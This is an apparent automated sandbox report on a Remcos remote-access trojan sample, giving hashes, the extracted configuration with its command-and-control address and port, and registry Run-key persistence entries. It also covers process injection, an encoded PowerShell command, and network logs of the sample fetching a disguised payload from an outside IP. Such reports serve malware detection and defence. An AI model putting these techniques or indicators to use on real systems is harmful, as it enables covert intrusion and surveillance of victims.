remcos | 53ddb9a75bca1115a66745b28086afbd394cef38f8437dda641b1219111df8cd

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
03/02/2023, 18:44 UTC

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General

Target

d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
Size

7KB
MD5

b359f4af5c88b1e237db9738415b7682
SHA1

d7fa6d87594ea4d8b5740d54fdc204b08f4e9439
SHA256

53ddb9a75bca1115a66745b28086afbd394cef38f8437dda641b1219111df8cd
SHA512

6d4f06f36c608d3202d29629f9d9a70eadfbffbb23c7c074fbb610ed9e1926bf6e04c8dfecbbaf1d575fb2d0385d237aff2dbda322b092d4ef7728091eb596cb
SSDEEP

96:xtEsKVeCVIP7bLp8LAn5c8aY1ej/kKV+J2qzNt:xUVVIP7bLrEOejcKYx

Score

10^/10

remcos remotehost persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

194.180.49.17:28282

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
rdfghfgjkgoighjc.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
true
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-PC1DJ2
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	rdfghfgjkgoighjc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe

Executes dropped EXE 2 IoCs

pid	Process
2108	rdfghfgjkgoighjc.exe
4688	rdfghfgjkgoighjc.exe

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Phecxlkxbf = "\"C:\\Users\\Admin\\AppData\\Roaming\\Zwpfblvosjv\\Phecxlkxbf.exe\""	rdfghfgjkgoighjc.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows\CurrentVersion\Run\	rdfghfgjkgoighjc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Remcos = "\"C:\\ProgramData\\Remcos\\rdfghfgjkgoighjc.exe\""	rdfghfgjkgoighjc.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\	rdfghfgjkgoighjc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Phecxlkxbf = "\"C:\\Users\\Admin\\AppData\\Roaming\\Zwpfblvosjv\\Phecxlkxbf.exe\""	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows\CurrentVersion\Run\	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Remcos = "\"C:\\ProgramData\\Remcos\\rdfghfgjkgoighjc.exe\""	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Remcos = "\"C:\\ProgramData\\Remcos\\rdfghfgjkgoighjc.exe\""	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Remcos = "\"C:\\ProgramData\\Remcos\\rdfghfgjkgoighjc.exe\""	rdfghfgjkgoighjc.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 688 set thread context of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 2108 set thread context of 4688	2108	rdfghfgjkgoighjc.exe	89

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4788	powershell.exe
4788	powershell.exe
688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
1844	powershell.exe
1844	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	2108	rdfghfgjkgoighjc.exe
Token: SeDebugPrivilege	1844	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4688	rdfghfgjkgoighjc.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 688 wrote to memory of 4788	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	80
PID 688 wrote to memory of 4788	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	80
PID 688 wrote to memory of 4788	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	80
PID 688 wrote to memory of 3184	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	84
PID 688 wrote to memory of 3184	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	84
PID 688 wrote to memory of 3184	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	84
PID 688 wrote to memory of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 688 wrote to memory of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 688 wrote to memory of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 688 wrote to memory of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 688 wrote to memory of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 688 wrote to memory of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 688 wrote to memory of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 688 wrote to memory of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 688 wrote to memory of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 688 wrote to memory of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 688 wrote to memory of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 688 wrote to memory of 4244	688	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	85
PID 4244 wrote to memory of 2108	4244	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	86
PID 4244 wrote to memory of 2108	4244	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	86
PID 4244 wrote to memory of 2108	4244	d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe	86
PID 2108 wrote to memory of 1844	2108	rdfghfgjkgoighjc.exe	87
PID 2108 wrote to memory of 1844	2108	rdfghfgjkgoighjc.exe	87
PID 2108 wrote to memory of 1844	2108	rdfghfgjkgoighjc.exe	87
PID 2108 wrote to memory of 4688	2108	rdfghfgjkgoighjc.exe	89
PID 2108 wrote to memory of 4688	2108	rdfghfgjkgoighjc.exe	89
PID 2108 wrote to memory of 4688	2108	rdfghfgjkgoighjc.exe	89
PID 2108 wrote to memory of 4688	2108	rdfghfgjkgoighjc.exe	89
PID 2108 wrote to memory of 4688	2108	rdfghfgjkgoighjc.exe	89
PID 2108 wrote to memory of 4688	2108	rdfghfgjkgoighjc.exe	89
PID 2108 wrote to memory of 4688	2108	rdfghfgjkgoighjc.exe	89
PID 2108 wrote to memory of 4688	2108	rdfghfgjkgoighjc.exe	89
PID 2108 wrote to memory of 4688	2108	rdfghfgjkgoighjc.exe	89
PID 2108 wrote to memory of 4688	2108	rdfghfgjkgoighjc.exe	89
PID 2108 wrote to memory of 4688	2108	rdfghfgjkgoighjc.exe	89
PID 2108 wrote to memory of 4688	2108	rdfghfgjkgoighjc.exe	89

C:\Users\Admin\AppData\Local\Temp\d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
"C:\Users\Admin\AppData\Local\Temp\d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:688
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4788
- C:\Users\Admin\AppData\Local\Temp\d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
  C:\Users\Admin\AppData\Local\Temp\d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
  2⤵
  PID:3184
- C:\Users\Admin\AppData\Local\Temp\d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
  C:\Users\Admin\AppData\Local\Temp\d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4244
- - C:\ProgramData\Remcos\rdfghfgjkgoighjc.exe
    "C:\ProgramData\Remcos\rdfghfgjkgoighjc.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2108
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1844
  - - C:\ProgramData\Remcos\rdfghfgjkgoighjc.exe
      C:\ProgramData\Remcos\rdfghfgjkgoighjc.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of SetWindowsHookEx
      PID:4688

Network

GET

http://194.180.49.17/Vvlhkp.bmp

d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe

Remote address:

194.180.49.17:80

Request

GET /Vvlhkp.bmp HTTP/1.1
Host: 194.180.49.17
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Content-Type: image/bmp
Last-Modified: Fri, 03 Feb 2023 02:52:01 GMT
Accept-Ranges: bytes
ETag: "cbc6437d7a37d91:0"
Server: Microsoft-IIS/10.0
Date: Fri, 03 Feb 2023 18:44:22 GMT
Content-Length: 5437440
GET

http://194.180.49.17/Vvlhkp.bmp

rdfghfgjkgoighjc.exe

Remote address:

194.180.49.17:80

Request

GET /Vvlhkp.bmp HTTP/1.1
Host: 194.180.49.17
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Content-Type: image/bmp
Last-Modified: Fri, 03 Feb 2023 02:52:01 GMT
Accept-Ranges: bytes
ETag: "cbc6437d7a37d91:0"
Server: Microsoft-IIS/10.0
Date: Fri, 03 Feb 2023 18:45:12 GMT
Content-Length: 5437440
DNS

geoplugin.net

rdfghfgjkgoighjc.exe

Remote address:

8.8.8.8:53

Request

geoplugin.net

IN A

Response

geoplugin.net

IN A

178.237.33.50
GET

http://geoplugin.net/json.gp

rdfghfgjkgoighjc.exe

Remote address:

178.237.33.50:80

Request

GET /json.gp HTTP/1.1
Host: geoplugin.net
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

date: Fri, 03 Feb 2023 18:45:36 GMT
server: Apache
expires: Fri, 03 Feb 2023 18:45:36 GMT
content-length: 930
content-type: application/json; charset=utf-8
cache-control: public, max-age=300
access-control-allow-origin: *

93.184.221.240:80

260 B
5
194.180.49.17:80

http://194.180.49.17/Vvlhkp.bmp

http

d7fa6d87594ea4d8b5740d54fdc204b08f4e9439.exe

199.2kB
5.8MB
3132
4168

HTTP Request

GET http://194.180.49.17/Vvlhkp.bmp

HTTP Response

200
93.184.220.29:80

322 B
7
93.184.221.240:80

322 B
7
104.80.225.205:443

322 B
7
194.180.49.17:80

rdfghfgjkgoighjc.exe

260 B
5
13.69.239.73:443

322 B
7
194.180.49.17:80

http://194.180.49.17/Vvlhkp.bmp

http

rdfghfgjkgoighjc.exe

110.7kB
5.6MB
2222
4013

HTTP Request

GET http://194.180.49.17/Vvlhkp.bmp

HTTP Response

200
194.180.49.17:28282

tls

rdfghfgjkgoighjc.exe

2.9kB
1.4kB
12
14
178.237.33.50:80

http://geoplugin.net/json.gp

http

rdfghfgjkgoighjc.exe

301 B
1.3kB
5
3

HTTP Request

GET http://geoplugin.net/json.gp

HTTP Response

200

8.8.8.8:53

geoplugin.net

dns

rdfghfgjkgoighjc.exe

59 B
75 B
1
1

DNS Request

geoplugin.net

DNS Response

178.237.33.50

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Remcos\rdfghfgjkgoighjc.exe

Filesize
7KB

MD5
b359f4af5c88b1e237db9738415b7682

SHA1
d7fa6d87594ea4d8b5740d54fdc204b08f4e9439

SHA256
53ddb9a75bca1115a66745b28086afbd394cef38f8437dda641b1219111df8cd

SHA512
6d4f06f36c608d3202d29629f9d9a70eadfbffbb23c7c074fbb610ed9e1926bf6e04c8dfecbbaf1d575fb2d0385d237aff2dbda322b092d4ef7728091eb596cb

Download Submit
C:\ProgramData\Remcos\rdfghfgjkgoighjc.exe

Filesize
7KB

MD5
b359f4af5c88b1e237db9738415b7682

SHA1
d7fa6d87594ea4d8b5740d54fdc204b08f4e9439

SHA256
53ddb9a75bca1115a66745b28086afbd394cef38f8437dda641b1219111df8cd

SHA512
6d4f06f36c608d3202d29629f9d9a70eadfbffbb23c7c074fbb610ed9e1926bf6e04c8dfecbbaf1d575fb2d0385d237aff2dbda322b092d4ef7728091eb596cb

Download Submit
C:\ProgramData\Remcos\rdfghfgjkgoighjc.exe

Filesize
7KB

MD5
b359f4af5c88b1e237db9738415b7682

SHA1
d7fa6d87594ea4d8b5740d54fdc204b08f4e9439

SHA256
53ddb9a75bca1115a66745b28086afbd394cef38f8437dda641b1219111df8cd

SHA512
6d4f06f36c608d3202d29629f9d9a70eadfbffbb23c7c074fbb610ed9e1926bf6e04c8dfecbbaf1d575fb2d0385d237aff2dbda322b092d4ef7728091eb596cb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
1210b299f9239432a1e7b06d65bf7304

SHA1
3ae3e66b37e6f10753e32e1bf72a612b297b395e

SHA256
e35e5dc177e469252adac3cd093231d57cb60af30a8c5508e1c7fddabcdf69d1

SHA512
3de3b7dc783556398d1ecaffe9c9bcb3470d0568913b5fee23d20db4821b312370fc9f505a911544f82297fb01cd13df1aec2620dbdcbb226304ab0353ed4f6f

Download Submit
memory/688-133-0x0000000000A90000-0x0000000000A98000-memory.dmp

Filesize
32KB

Download
memory/688-134-0x0000000007A50000-0x0000000007A72000-memory.dmp

Filesize
136KB

Download
memory/4244-147-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4244-145-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4244-151-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4244-146-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4688-163-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4688-162-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4688-161-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4688-160-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/4788-138-0x00000000057C0000-0x0000000005826000-memory.dmp

Filesize
408KB

Download
memory/4788-136-0x0000000004910000-0x0000000004946000-memory.dmp

Filesize
216KB

Download
memory/4788-137-0x0000000004F80000-0x00000000055A8000-memory.dmp

Filesize
6.2MB

Download
memory/4788-139-0x0000000005830000-0x0000000005896000-memory.dmp

Filesize
408KB

Download
memory/4788-140-0x0000000005E90000-0x0000000005EAE000-memory.dmp

Filesize
120KB

Download
memory/4788-141-0x0000000007700000-0x0000000007D7A000-memory.dmp

Filesize
6.5MB

Download
memory/4788-142-0x0000000006390000-0x00000000063AA000-memory.dmp

Filesize
104KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v6

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Downloads

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